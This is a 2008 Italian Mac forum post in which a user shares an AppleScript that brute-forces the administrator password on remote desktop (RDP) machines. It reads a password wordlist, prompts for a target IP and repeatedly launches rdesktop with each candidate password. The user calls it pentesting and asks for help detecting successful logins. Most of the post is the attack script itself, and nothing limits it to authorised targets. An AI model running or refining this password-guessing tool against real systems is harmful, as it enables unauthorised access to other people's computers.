IPB     Il futuro di Tevac dipende da te!  

Benvenuto Visitatore ( Log In | Registrati )

Nuovo Contest: Una Foto che Vale una Vacanza!!

  · · · · · · · · · · · ·
Reply to this topicStart new topic
> Applescript & rdesktop, dictionary attack
Federico_82
messaggio 21 Jul 2008, 18:39
Messaggio #1


Level 2/11
**

Gruppo: Forum User
Messaggi: 90
Iscritto il: 4-May 07
Utente Nr.: 8.165



Ciao,
ho scritto un AS per fare un pò di pentest sulle macchine con rdp attivo.

Ho usato rdesktop
http://www.rdesktop.org/#download
in teroia questo sw doveva già avere la possibilità di funzionare con un dizionario, ma a me non è mai andato, l'ho quindi inserito dentro uno script:

CODE
set myPrefsFile to (choose file with prompt "Select a file to read:")
open for access myPrefsFile
set prefsContents to read myPrefsFile using delimiter {return}
-- set line_count to 0
-- repeat
-- try
-- read myPrefsFile until return
-- set line_count to line_count + 1
-- on error
-- probably ran out of lines to read.
-- exit repeat
-- end try
-- end repeat
-- return line_count
-- l'ho tolto perchè è veramente lento nel contare le righe del file di testo

close access myPrefsFile

set IPvar to ((text returned) of (display dialog "Enter IP address" default answer "127.0.0.1" buttons {"Cancel", "Accept"} default button "Accept")) as text

set x to 1
repeat while x < 100
-- il ciclo è su numero di test naturalmente
set txtvar to (read myPrefsFile for (get eof myPrefsFile))
set var1 to paragraph x of txtvar
tell application "Terminal" to do script ("rdesktop -u administrator -p " & var1 & " " & IPvar)
set x to x + 1
if x = 30 then
tell application "Terminal" to quit
end if
end repeat


per funzionare bisogna avere x11 aperto.
il mio problema è che non riesco a capire quando lo script becca la psw, ho quindi messo dei cicli di 30 tentativi seguiti da un controllo "manuale" delle finsetre aperte, è veramente brutto fatto così.
avete qualche idea o alternativa?

Messaggio modificato da poweruser il 28 Jul 2008, 20:28
Go to the top of the page
 
+Quote Post

Reply to this topicStart new topic

 

Collapse

> 

    Titolo discussione Risposte Autore discussione Visite Ultima azione
No New Posts   0 TevacPhoto 9 Oggi, 12:13
Ultimo messaggio di: TevacPhoto
No New Posts   0 TevacPhoto 4 Oggi, 12:13
Ultimo messaggio di: TevacPhoto
No New Posts   0 TevacPhoto 2 Oggi, 12:13
Ultimo messaggio di: TevacPhoto
No New Posts   0 TevacPhoto 2 Oggi, 12:13
Ultimo messaggio di: TevacPhoto
No New Posts   3 finalcut 114 3 October 2008 - 20:31
Ultimo messaggio di: finalcut
No New Posts   0 TevacPhoto 34 30 September 2008 - 01:34
Ultimo messaggio di: TevacPhoto
No New Posts   0 TevacPhoto 27 30 September 2008 - 01:34
Ultimo messaggio di: TevacPhoto
No New Posts   0 TevacPhoto 29 30 September 2008 - 01:34
Ultimo messaggio di: TevacPhoto
No New Posts   0 TevacPhoto 21 30 September 2008 - 01:34
Ultimo messaggio di: TevacPhoto
No New Posts   0 TevacPhoto 16 30 September 2008 - 01:34
Ultimo messaggio di: TevacPhoto
No New Posts   8 MacIavelli 123 23 September 2008 - 17:51
Ultimo messaggio di: MacIavelli
No New Posts   3 Mad_Biker 115 18 September 2008 - 21:17
Ultimo messaggio di: poweruser

Modalità di visualizzazione: Normale · Passa a: Lineare · Passa a: Outline


RSS Versione Lo-Fi Oggi è il: 7 October 2008 - 20:30
IP.Board Skin Developed By Creative Networks